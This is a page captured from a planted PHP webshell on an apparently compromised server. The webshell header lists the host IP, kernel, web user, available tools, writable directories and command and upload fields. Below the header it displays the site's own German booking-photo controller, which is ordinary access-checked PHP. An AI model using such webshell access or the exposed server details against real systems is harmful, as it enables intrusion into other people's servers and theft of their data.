403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/booking-images.php
<?php
/**
 * booking-images.php – Controller für Fahrzeug-/Buchungsfotos (mobile App + Admin).
 *
 * Auth: Mobil-Zugang (?t=Token, PIN-Cookie falls gesetzt) ODER Legacy-Check-in-Hash (?h=&b=)
 *       ODER eingeloggter Admin (Session). Rechte werden bei JEDER Aktion serverseitig geprüft.
 * Aktionen (?action=): list | upload | note | delete | file
 * Bilder liegen unter datas/booking-images/{bid}/ und werden NUR hier ausgeliefert (action=file).
 */
require_once( __DIR__ . '/includes/config.inc.php' );
require_once( __DIR__ . '/includes/day-arrivals.php' );
require_once( __DIR__ . '/includes/mobileaccess.php' );
require_once( __DIR__ . '/includes/booking-images.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );

function bi_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); header( 'Cache-Control: no-store' ); echo json_encode( $a ); exit(); }
function bi_fail( $m, $code = 400 ) { http_response_code( $code ); bi_json( array( 'success' => false, 'error' => $m ) ); }
function bi_deny_file( $code = 403 ) { while ( ob_get_level() > 0 ) ob_end_clean(); http_response_code( $code ); exit(); }

$action = (string) ( $_GET['action'] ?? ( $_POST['action'] ?? '' ) );
$bid    = (int) ( $_GET['b'] ?? ( $_POST['b'] ?? ( $_GET['booking_id'] ?? ( $_POST['booking_id'] ?? 0 ) ) ) );
$imgId  = (int) ( $_GET['id'] ?? ( $_POST['id'] ?? 0 ) );
$mid    = (int) ( $_GET['mid'] ?? ( $_POST['mid'] ?? 0 ) );   // Marker-ID
$tok    = trim( (string) ( $_GET['t'] ?? ( $_POST['t'] ?? '' ) ) );
$h      = trim( (string) ( $_GET['h'] ?? ( $_POST['h'] ?? '' ) ) );

$db = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
pacim_bi_ensure_table( $db );

/* ---------------------------------------------------------------- Auth + Rechte */
$isAdmin = ( function_exists( 'is_admin' ) && is_admin() );
$access = null; $accessId = null; $uid = 0; $uname = ''; $perms = array(); $mode = '';

if ( $isAdmin ) {
    $mode = 'admin'; $perms = pacim_ma_img_all();
    $uid = function_exists( 'current_user_id' ) ? current_user_id() : 0;
    $uname = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
} elseif ( $tok !== '' ) {
    $access = pacim_ma_load( $db, $tok );
    if ( ! $access ) bi_fail( 'Zugang ungültig oder abgelaufen.', 403 );
    if ( (string) $access['ma_pin'] !== '' ) {   // PIN-Zugang -> Freischalt-Cookie ODER gültige Terminal-Sitzung
        $ck = 'mau_' . $tok;
        $okPin = ( isset( $_COOKIE[ $ck ] ) && hash_equals( pacim_ma_unlock_token( $tok ), (string) $_COOKIE[ $ck ] ) )
              || ( function_exists( 'pacim_terminal_grants' ) && pacim_terminal_grants( $db, $tok ) );
        if ( ! $okPin ) bi_fail( 'Bitte zuerst per PIN freischalten.', 403 );
    }
    $mode = 'token'; $perms = pacim_ma_img_perms( $access ); $accessId = (int) $access['ma_id'];
    $uname = trim( (string) $access['ma_label'] ) !== '' ? $access['ma_label'] : 'Mobil-Zugang';
} elseif ( $h !== '' && $bid > 0 && function_exists( 'pacim_sign_verify' ) && pacim_sign_verify( 'checkin:' . $bid, $h ) ) {
    $mode = 'hash'; $perms = pacim_ma_img_all(); $uname = 'Check-in';
} else {
    bi_fail( 'Nicht berechtigt.', 403 );
}

function bi_p( $perm ) { global $perms; return in_array( $perm, $perms, true ); }
/** Aktivität protokollieren (nur Web-App/Token, nicht CRM/Legacy). */
function bi_log( $action, $bookingId, $detail = '' ) {
    global $db, $tok, $mode;
    if ( $mode !== 'token' || ! function_exists( 'pacim_aa_log_tok' ) ) return;
    $br = $db->rawQueryOne( "SELECT booking_invoice, DATE(booking_begin) AS d FROM pacim_booking WHERE booking_id = ?", array( (int) $bookingId ) );
    if ( ! $br ) return;
    pacim_aa_log_tok( $db, $tok, (int) $bookingId, (int) $br['booking_invoice'], $action, $detail, (string) $br['d'] );
}
/** Darf dieser Zugang auf die Buchung zugreifen (Filter-/Geltungsbereich)? */
function bi_scope( $db, $bid ) {
    global $mode, $access; if ( $mode === 'admin' || $mode === 'hash' ) return true;
    return pacim_ma_in_scope( $db, $access, $bid );
}
/** Ist das Bild „eigenes" (für eigene-Rechte)? */
function bi_own( $img ) {
    global $mode, $accessId;
    if ( $mode === 'admin' || $mode === 'hash' ) return true;
    return ( $accessId && (int) $img['mobile_access_id'] === $accessId );
}
function bi_can_edit( $img ) { return bi_p( 'note_edit_all' ) || ( bi_own( $img ) && bi_p( 'note_edit_own' ) ); }
function bi_can_del( $img )  { return bi_p( 'del_all' )       || ( bi_own( $img ) && bi_p( 'del_own' ) ); }
/** URL-Auth-Suffix für <img>-Quellen. */
function bi_authq() { global $mode, $tok, $h, $bid; if ( $mode === 'token' ) return '&t=' . $tok; if ( $mode === 'hash' ) return '&h=' . rawurlencode( $h ) . '&b=' . $bid; return ''; }
function bi_fileurl( $id, $size ) { return SITE_URL . '/booking-images.php?action=file&id=' . (int) $id . '&size=' . $size . bi_authq(); }

/* ---- Befund-Marker ---- */
function bi_marker_own( $m ) { global $mode, $accessId; if ( $mode === 'admin' || $mode === 'hash' ) return true; return ( $accessId && (int) $m['mobile_access_id'] === $accessId ); }
function bi_marker_edit( $m ) { return bi_p( 'note_edit_all' ) || ( bi_marker_own( $m ) && bi_p( 'note_edit_own' ) ); }
function bi_marker_del( $m )  { return bi_marker_edit( $m ) || bi_p( 'del_all' ) || ( bi_marker_own( $m ) && bi_p( 'del_own' ) ); }
function bi_marker_item( $m ) {
    return array(
        'id' => (int) $m['id'], 'rx' => (float) $m['rx'], 'ry' => (float) $m['ry'], 'zoom' => (float) $m['zoom'],
        'note' => bi_p( 'note_view' ) ? (string) $m['note'] : '', 'note_visible' => bi_p( 'note_view' ),
        'created_at_formatted' => pacim_bi_fmt_dt( $m['created_at'] ), 'created_by_name' => (string) $m['created_by_name'],
        'can_edit' => bi_marker_edit( $m ), 'can_delete' => bi_marker_del( $m ),
    );
}
/** Bild laden + Geltungsbereich/Hash prüfen (für Marker-Aktionen). Bricht bei Problemen ab. */
function bi_load_image_scoped( $db, $imageId ) {
    global $mode, $bid;
    $img = $db->rawQueryOne( "SELECT * FROM pacim_booking_images WHERE id = ? AND deleted_at IS NULL", array( (int) $imageId ) );
    if ( ! $img ) bi_fail( 'Bild nicht gefunden.', 404 );
    if ( $mode === 'hash' && (int) $img['booking_id'] !== $bid ) bi_fail( 'Nicht berechtigt.', 403 );
    if ( ! bi_scope( $db, (int) $img['booking_id'] ) ) bi_fail( 'Diese Buchung liegt außerhalb Ihres Bereichs.', 403 );
    return $img;
}

function bi_item( $img ) {
    $noteOk = bi_p( 'note_view' );
    return array(
        'id' => (int) $img['id'], 'booking_id' => (int) $img['booking_id'],
        'thumb_url' => bi_fileurl( $img['id'], 'thumb' ), 'image_url' => bi_fileurl( $img['id'], 'full' ),
        'original_url' => bi_p( 'download' ) ? bi_fileurl( $img['id'], 'orig' ) : null,
        'note' => $noteOk ? (string) $img['note'] : '',
        'note_visible' => $noteOk,
        'created_at' => (string) $img['created_at'],
        'created_at_formatted' => pacim_bi_fmt_dt( $img['created_at'] ),
        'created_by_name' => (string) $img['created_by_name'],
        'file_size_formatted' => pacim_bi_fmt_size( $img['file_size'] ),
        'width' => (int) $img['width'], 'height' => (int) $img['height'],
        'can_edit' => bi_can_edit( $img ), 'can_delete' => bi_can_del( $img ), 'can_download' => bi_p( 'download' ),
    );
}

/* ====================================================== Bilder laden */
if ( $action === 'list' ) {
    if ( ! bi_p( 'view' ) ) bi_fail( 'Keine Berechtigung, Bilder zu sehen.', 403 );
    if ( $bid <= 0 ) bi_fail( 'Buchung fehlt.' );
    if ( ! bi_scope( $db, $bid ) ) bi_fail( 'Diese Buchung liegt außerhalb Ihres Bereichs.', 403 );
    $rows = pacim_bi_list( $db, $bid );
    $mc = pacim_bi_marker_count_map( $db, array_map( function ( $r ) { return $r['id']; }, $rows ) );
    $out = array();
    foreach ( $rows as $r ) { $it = bi_item( $r ); $it['marker_count'] = isset( $mc[ (int) $r['id'] ] ) ? $mc[ (int) $r['id'] ] : 0; $out[] = $it; }
    bi_json( array( 'success' => true, 'images' => $out,
        'can_upload' => bi_p( 'upload' ), 'can_note' => bi_p( 'note_create' ) ) );
}

/* ====================================================== Alle Medien eines Tages (Tagesansicht, nur Admin) */
if ( $action === 'day' ) {
    if ( $mode !== 'admin' ) bi_fail( 'Nur für Administratoren.', 403 );
    $date = substr( (string) ( $_GET['date'] ?? '' ), 0, 10 );
    if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $date ) ) bi_fail( 'Ungültiges Datum.' );
    $next = date( 'Y-m-d', strtotime( $date ) + 86400 );
    $rows = (array) $db->rawQuery(
        "SELECT i.*, b.booking_no, b.booking_invoice, license_plate(b.booking_serial) AS plate,
                c.customer_firstname, c.customer_lastname, c.customer_name
           FROM pacim_booking_images i
           JOIN pacim_booking b ON b.booking_id = i.booking_id
           LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
          WHERE i.deleted_at IS NULL AND i.created_at >= ? AND i.created_at < ?
          ORDER BY i.created_at DESC, i.id DESC",
        array( $date . ' 00:00:00', $next . ' 00:00:00' ) );
    $mc = pacim_bi_marker_count_map( $db, array_map( function ( $r ) { return $r['id']; }, $rows ) );
    $out = array();
    foreach ( $rows as $r ) {
        $it = bi_item( $r );
        $it['marker_count'] = isset( $mc[ (int) $r['id'] ] ) ? $mc[ (int) $r['id'] ] : 0;
        $nm = trim( trim( (string) $r['customer_firstname'] . ' ' . (string) $r['customer_lastname'] ) );
        if ( $nm === '' ) $nm = trim( (string) $r['customer_name'] );
        $it['plate'] = (string) $r['plate'];
        $it['name'] = $nm;
        $it['booking_no'] = (string) $r['booking_no'];
        $it['booking_url'] = SITE_URL . '/booking/view/?invoice_id=' . (int) $r['booking_invoice'];
        $out[] = $it;
    }
    bi_json( array( 'success' => true, 'images' => $out, 'count' => count( $out ), 'date' => $date ) );
}

/* ====================================================== Bild hochladen (eine Datei je Request) */
if ( $action === 'upload' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( ! bi_p( 'upload' ) ) bi_fail( 'Sie haben keine Berechtigung, Bilder hochzuladen.', 403 );
    if ( $bid <= 0 ) bi_fail( 'Buchung fehlt.' );
    if ( ! bi_scope( $db, $bid ) ) bi_fail( 'Diese Buchung liegt außerhalb Ihres Bereichs.', 403 );
    // Buchung muss existieren
    if ( ! $db->rawQueryOne( "SELECT 1 x FROM pacim_booking WHERE booking_id = ?", array( $bid ) ) ) bi_fail( 'Buchung nicht gefunden.', 404 );
    // Obergrenze pro Buchung
    $cnt = $db->rawQueryOne( "SELECT COUNT(*) c FROM pacim_booking_images WHERE booking_id = ? AND deleted_at IS NULL", array( $bid ) );
    if ( $cnt && (int) $cnt['c'] >= PACIM_BI_MAX_PER_BOOKING ) bi_fail( 'Maximale Bildanzahl für diese Buchung erreicht.' );

    if ( empty( $_FILES['image'] ) || ! is_uploaded_file( $_FILES['image']['tmp_name'] ?? '' ) ) {
        $ec = isset( $_FILES['image']['error'] ) ? (int) $_FILES['image']['error'] : -1;
        if ( $ec === UPLOAD_ERR_INI_SIZE || $ec === UPLOAD_ERR_FORM_SIZE ) bi_fail( 'Das Bild ist zu groß. Bitte ein kleineres Bild wählen.' );
        bi_fail( 'Der Upload konnte nicht abgeschlossen werden. Bitte erneut versuchen.' );
    }
    $err = null;
    $res = pacim_bi_process( $_FILES['image']['tmp_name'], $bid, $err );
    if ( ! $res ) { error_log( 'booking-images upload fail bid=' . $bid . ': ' . $err ); bi_fail( $err ?: 'Bildverarbeitung fehlgeschlagen.' ); }

    $note = bi_p( 'note_create' ) ? trim( (string) ( $_POST['note'] ?? '' ) ) : '';
    $orig = mb_substr( preg_replace( '/[^\w.\-]+/u', '_', (string) ( $_FILES['image']['name'] ?? '' ) ), 0, 255 );
    $relF = 'booking-images/' . $bid . '/' . $res['filename'];
    $relT = $res['thumb'] ? 'booking-images/' . $bid . '/' . $res['thumb'] : null;
    $id = $db->insert( 'pacim_booking_images', array(
        'booking_id' => $bid, 'mobile_access_id' => $accessId, 'user_id' => ( $mode === 'admin' ? $uid : null ),
        'filename' => $res['filename'], 'original_filename' => ( $orig !== '' ? $orig : null ),
        'filepath' => $relF, 'thumb_filepath' => $relT, 'mime_type' => $res['mime'], 'file_size' => $res['size'],
        'width' => $res['w'], 'height' => $res['h'], 'note' => ( $note !== '' ? $note : null ),
        'created_at' => date( 'Y-m-d H:i:s' ), 'created_by_name' => ( $uname !== '' ? $uname : null ),
        'ip_address' => substr( (string) ( $_SERVER['REMOTE_ADDR'] ?? '' ), 0, 45 ),
        'user_agent' => substr( (string) ( $_SERVER['HTTP_USER_AGENT'] ?? '' ), 0, 255 ),
    ) );
    if ( ! $id ) { bi_fail( 'Bild konnte nicht gespeichert werden.' ); }
    $row = $db->rawQueryOne( "SELECT * FROM pacim_booking_images WHERE id = ?", array( (int) $id ) );
    bi_log( 'photo_upload', $bid );
    bi_json( array( 'success' => true, 'image' => bi_item( $row ), 'message' => 'Bild hochgeladen.' ) );
}

/* ====================================================== Notiz bearbeiten */
if ( $action === 'note' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( $imgId <= 0 ) bi_fail( 'Bild fehlt.' );
    $img = $db->rawQueryOne( "SELECT * FROM pacim_booking_images WHERE id = ? AND deleted_at IS NULL", array( $imgId ) );
    if ( ! $img ) bi_fail( 'Bild nicht gefunden.', 404 );
    if ( $mode === 'hash' && (int) $img['booking_id'] !== $bid ) bi_fail( 'Nicht berechtigt.', 403 );
    if ( ! bi_scope( $db, (int) $img['booking_id'] ) ) bi_fail( 'Außerhalb Ihres Bereichs.', 403 );
    if ( ! bi_can_edit( $img ) ) bi_fail( 'Keine Berechtigung, diese Notiz zu bearbeiten.', 403 );
    $note = trim( (string) ( $_POST['note'] ?? '' ) );
    $db->where( 'id', $imgId ); $db->update( 'pacim_booking_images', array( 'note' => ( $note !== '' ? $note : null ) ) );
    bi_log( 'photo_edit', (int) $img['booking_id'] );
    bi_json( array( 'success' => true, 'note' => $note ) );
}

/* ====================================================== Bild löschen (Soft Delete) */
if ( $action === 'delete' ) {
    if ( ! in_array( $_SERVER['REQUEST_METHOD'], array( 'POST', 'DELETE' ), true ) ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( $imgId <= 0 ) bi_fail( 'Bild fehlt.' );
    $img = $db->rawQueryOne( "SELECT * FROM pacim_booking_images WHERE id = ? AND deleted_at IS NULL", array( $imgId ) );
    if ( ! $img ) bi_fail( 'Bild nicht gefunden.', 404 );
    if ( $mode === 'hash' && (int) $img['booking_id'] !== $bid ) bi_fail( 'Nicht berechtigt.', 403 );
    if ( ! bi_scope( $db, (int) $img['booking_id'] ) ) bi_fail( 'Außerhalb Ihres Bereichs.', 403 );
    if ( ! bi_can_del( $img ) ) bi_fail( 'Keine Berechtigung, dieses Bild zu löschen.', 403 );
    $db->where( 'id', $imgId ); $db->update( 'pacim_booking_images', array( 'deleted_at' => date( 'Y-m-d H:i:s' ), 'deleted_by' => ( $uid ?: null ) ) );
    error_log( 'booking-images delete id=' . $imgId . ' by=' . $uname );
    bi_log( 'photo_delete', (int) $img['booking_id'] );
    bi_json( array( 'success' => true ) );
}

/* ====================================================== Datei ausliefern (rechtsgeprüft) */
if ( $action === 'file' ) {
    if ( ! bi_p( 'view' ) ) bi_deny_file( 403 );
    if ( $imgId <= 0 ) bi_deny_file( 404 );
    $img = $db->rawQueryOne( "SELECT * FROM pacim_booking_images WHERE id = ? AND deleted_at IS NULL", array( $imgId ) );
    if ( ! $img ) bi_deny_file( 404 );
    if ( $mode === 'hash' && (int) $img['booking_id'] !== $bid ) bi_deny_file( 403 );
    if ( ! bi_scope( $db, (int) $img['booking_id'] ) ) bi_deny_file( 403 );
    $size = (string) ( $_GET['size'] ?? 'thumb' );
    if ( $size === 'orig' && ! bi_p( 'download' ) ) bi_deny_file( 403 );
    $rel = ( $size === 'thumb' && $img['thumb_filepath'] ) ? $img['thumb_filepath'] : $img['filepath'];
    $path = rtrim( PATH_DATAS, '/' ) . '/' . ltrim( (string) $rel, '/' );
    $real = realpath( $path ); $base = realpath( rtrim( PATH_DATAS, '/' ) . '/booking-images' );
    if ( ! $real || ! $base || strpos( $real, $base ) !== 0 || ! is_file( $real ) ) bi_deny_file( 404 );
    while ( ob_get_level() > 0 ) ob_end_clean();
    header( 'Content-Type: ' . $img['mime_type'] );
    header( 'Cache-Control: private, max-age=86400' );
    header( 'Content-Length: ' . filesize( $real ) );
    if ( $size === 'orig' ) header( 'Content-Disposition: inline; filename="' . basename( $real ) . '"' );
    readfile( $real ); exit();
}

/* ====================================================== Marker: laden */
if ( $action === 'markers' ) {
    if ( ! bi_p( 'view' ) ) bi_fail( 'Keine Berechtigung.', 403 );
    if ( $imgId <= 0 ) bi_fail( 'Bild fehlt.' );
    bi_load_image_scoped( $db, $imgId );
    $rows = $db->rawQuery( "SELECT * FROM pacim_bi_markers WHERE image_id = ? AND deleted_at IS NULL ORDER BY id ASC", array( $imgId ) );
    $out = array(); foreach ( (array) $rows as $m ) $out[] = bi_marker_item( $m );
    bi_json( array( 'success' => true, 'markers' => $out, 'can_add' => bi_p( 'note_create' ) ) );
}

/* ====================================================== Marker: setzen */
if ( $action === 'marker_add' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( ! bi_p( 'note_create' ) ) bi_fail( 'Keine Berechtigung, Marker zu setzen.', 403 );
    if ( $imgId <= 0 ) bi_fail( 'Bild fehlt.' );
    bi_load_image_scoped( $db, $imgId );
    $rx = (float) ( $_POST['rx'] ?? -1 ); $ry = (float) ( $_POST['ry'] ?? -1 );
    if ( $rx < 0 || $rx > 1 || $ry < 0 || $ry > 1 ) bi_fail( 'Ungültige Position.' );
    $zoom = (float) ( $_POST['zoom'] ?? 2.5 ); if ( $zoom < 1 ) $zoom = 1; if ( $zoom > 8 ) $zoom = 8;
    $note = trim( (string) ( $_POST['note'] ?? '' ) );
    $newId = $db->insert( 'pacim_bi_markers', array(
        'image_id' => $imgId, 'mobile_access_id' => $accessId, 'rx' => $rx, 'ry' => $ry, 'zoom' => $zoom,
        'note' => ( $note !== '' ? $note : null ), 'created_at' => date( 'Y-m-d H:i:s' ), 'created_by_name' => ( $uname !== '' ? $uname : null ),
    ) );
    if ( ! $newId ) bi_fail( 'Konnte nicht gespeichert werden.' );
    $m = $db->rawQueryOne( "SELECT * FROM pacim_bi_markers WHERE id = ?", array( (int) $newId ) );
    $mImg = $db->rawQueryOne( "SELECT booking_id FROM pacim_booking_images WHERE id = ?", array( $imgId ) );
    if ( $mImg ) bi_log( 'marker', (int) $mImg['booking_id'] );
    bi_json( array( 'success' => true, 'marker' => bi_marker_item( $m ) ) );
}

/* ====================================================== Marker: Notiz */
if ( $action === 'marker_note' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( $mid <= 0 ) bi_fail( 'Marker fehlt.' );
    $m = $db->rawQueryOne( "SELECT * FROM pacim_bi_markers WHERE id = ? AND deleted_at IS NULL", array( $mid ) );
    if ( ! $m ) bi_fail( 'Marker nicht gefunden.', 404 );
    bi_load_image_scoped( $db, (int) $m['image_id'] );
    if ( ! bi_marker_edit( $m ) ) bi_fail( 'Keine Berechtigung.', 403 );
    $note = trim( (string) ( $_POST['note'] ?? '' ) );
    $db->where( 'id', $mid ); $db->update( 'pacim_bi_markers', array( 'note' => ( $note !== '' ? $note : null ) ) );
    bi_json( array( 'success' => true, 'note' => $note ) );
}

/* ====================================================== Marker: löschen (Soft Delete) */
if ( $action === 'marker_delete' ) {
    if ( ! in_array( $_SERVER['REQUEST_METHOD'], array( 'POST', 'DELETE' ), true ) ) bi_fail( 'Methode nicht erlaubt.', 405 );
    if ( $mid <= 0 ) bi_fail( 'Marker fehlt.' );
    $m = $db->rawQueryOne( "SELECT * FROM pacim_bi_markers WHERE id = ? AND deleted_at IS NULL", array( $mid ) );
    if ( ! $m ) bi_fail( 'Marker nicht gefunden.', 404 );
    bi_load_image_scoped( $db, (int) $m['image_id'] );
    if ( ! bi_marker_del( $m ) ) bi_fail( 'Keine Berechtigung.', 403 );
    $db->where( 'id', $mid ); $db->update( 'pacim_bi_markers', array( 'deleted_at' => date( 'Y-m-d H:i:s' ) ) );
    bi_json( array( 'success' => true ) );
}

bi_fail( 'Unbekannte Aktion.' );

Youez - 2016 - github.com/yon3zu
LinuXploit